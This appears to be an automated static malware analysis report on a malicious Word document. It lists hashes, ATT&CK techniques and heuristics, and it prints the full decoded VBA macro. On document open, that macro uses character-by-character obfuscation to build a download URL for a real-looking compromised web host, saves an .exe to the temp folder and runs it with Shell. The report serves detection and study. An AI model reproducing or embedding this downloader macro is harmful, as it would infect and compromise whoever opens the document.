Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5778ae9aff9e13e4…

MALICIOUS

Office (OLE)

57.0 KB Created: 2015-08-06 14:53:00 Authoring application: Microsoft Office Word First seen: 2016-02-21
MD5: f75e3345f3dfa3647bad6ec535c2182d SHA-1: 2d16dbbcc3bb872df2207c52e939eda954d7c962 SHA-256: 5778ae9aff9e13e4ff067dc34a8f9d68a3f9ff009ad4ec455fa4abb4ad286b43
298 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File: User Execution T1059 Command and Scripting Interpreter

The sample contains VBA macros that utilize the URLDownloadToFile API, indicating an attempt to download a file from a remote URL. The document body explicitly instructs the user to 'CLICK OPTION/ENABLE CONTENT' to view the document, a common social engineering tactic. The script attempts to download a file named 'pym.fstgy' to the user's temporary directory from 'www.ebatechcorp.com/wp-includes/SimplePie/Content/Type/pym.fstgy'.

Heuristics 9

  • ClamAV: Doc.Downloader.Generic-6754310-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6754310-0
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
            Shell TZGKAKGT, vbNormalFocus
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Private Declare PtrSafe Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal FXNCJMZI As Long, ByVal RCOIZAZB As String, _
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        TZGKAKGT = Environ("Temp") & "\" & "pym.fstgy"
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3994 bytes
SHA-256: 6ddfa358844cd6e7d720aaf005dfa121848e49f4c22b963d227c77bba0b0aada
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

#If Win64 Then

Private Declare PtrSafe Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal FXNCJMZI As Long, ByVal RCOIZAZB As String, _
    ByVal SSCSWOKE As String, _
    ByVal TWWNEQWS As Long, ByVal CUECWDKU As Long)

#Else

Private Declare Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal FXNCJMZI As Long, ByVal RCOIZAZB As String, _
    ByVal SSCSWOKE As String, _
    ByVal TWWNEQWS As Long, ByVal CUECWDKU As Long)

#End If

Sub AutoNew()
    Dim SettingsFile As String
    Dim Order As String
    Dim rRecNo As Range

    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\Settings.ini"
    
    If Order = "" Then
    Order = 1
    End If

End Sub

Sub Document_Open()

SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\Settings.ini"

    Dim sdfsd As String

    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\Settings.ini"
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\Settings.ini"

    sdfsd = 15

    MZMJSQBE
End Sub

Sub MZMJSQBE()

SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
    
    Dim Order As String
    Dim rRecNo As Range

    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\Settings.ini"

    If Order = "" Then
    Order = 1
    End If

    HYMCNCBD = "www.ebatechcorp.com/wp-includes/SimplePie/Content/Type/pym.fstgy"
    TZGKAKGT = Environ("Temp") & "\" & "pym.fstgy"


    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"

    If Order = "" Then
    Order = 1
    End If
    
    HYMCNCBD0 = "h"
    HYMCNCBD0 = HYMCNCBD0 + "t"
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
    HYMCNCBD0 = HYMCNCBD0 + "t"
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
    HYMCNCBD0 = HYMCNCBD0 + "p"
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
    HYMCNCBD0 = HYMCNCBD0 + ":"
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
    HYMCNCBD0 = HYMCNCBD0 + "/"
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
    HYMCNCBD0 = HYMCNCBD0 + "/"
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
    HYMCNCBD0 = HYMCNCBD0 + HYMCNCBD

    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\Settings.ini"

    HYMCNCBD0 = HYMCNCBD0 + "."
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
    HYMCNCBD0 = HYMCNCBD0 + "e"
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
    HYMCNCBD0 = HYMCNCBD0 + "x"
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
    HYMCNCBD0 = HYMCNCBD0 + "e"

    AutoNew

    TZGKAKGT = TZGKAKGT + "."
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
    TZGKAKGT = TZGKAKGT + "e"
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
    TZGKAKGT = TZGKAKGT + "x"
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
    TZGKAKGT = TZGKAKGT + "e"
    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"

    AutoNew

    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"

    URLDownloadToFileA 0, HYMCNCBD0, _
    TZGKAKGT, 0, 0

    SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"

    AutoNew

    If Len(Dir(TZGKAKGT)) > 0 Then
    AutoNew
        Shell TZGKAKGT, vbNormalFocus
        SettingsFile = Options.DefaultFilePath(wdStartupPath) & "\qrgrgerg.ini"
    End If

End Sub


Attribute VB_Name = "NewMacros"
Sub fstc()
'
' fstc Macro
'
'

End Sub